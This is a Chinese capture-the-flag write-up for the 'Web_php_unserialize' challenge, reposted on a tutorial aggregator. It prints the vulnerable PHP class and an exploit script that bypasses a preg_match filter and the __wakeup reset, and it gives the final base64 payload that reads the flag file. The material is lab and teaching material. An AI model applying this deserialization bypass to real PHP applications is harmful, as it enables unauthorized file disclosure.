攻防世界Web_php_unserialize
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了攻防世界Web_php_unserialize,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含1456字,纯文字阅读大概需要3分钟。
内容图文
打开题目,就可以审计代码,是一个反序列化的题目
我们先贴源码吧
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } ?>
首先定义了一个demo类,然后发现初始化改变file值,而且,有一段注释:the secret is in the fl4g.php
如果demo类被销毁,则会高亮显示file所指向的文件的类容
demo中还有一个魔法函数就是_wakeup(),这个函数作用就是反序列化时,会自动执行,所以想反序列化,那么必须要绕过这个函数,绕过这个函数很简单,只要我们的实际参数小于当前参数的个数就可以绕过。
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); }
这里进行了变量的传入,使用的方法时get传参
1. 首先base64加密
2.使用了preg_match()匹配函数,如果匹配上了,就结束。如果没有则就将这个对象反序列化
所以这里要想办法绕过这个匹配函数。preg_match()匹配的为o或c:任意长度数字(至少一个) i表示匹配时不区分大小写
接下来我们先将所给的类反序列化
<?php class Demo { private $file = 'fl4g.php'; } $x= serialize(new Demo); $x=str_replace('O:4', 'O:+4',$x);//绕过preg_match() $x=str_replace(':1:', ':3:',$x);//绕过__wakeup() echo base64_encode($x); ?>
结果:TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
将这个base64代码传参给var得到flag
内容总结
以上是互联网集市为您收集整理的攻防世界Web_php_unserialize全部内容,希望文章能够帮你解决攻防世界Web_php_unserialize所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。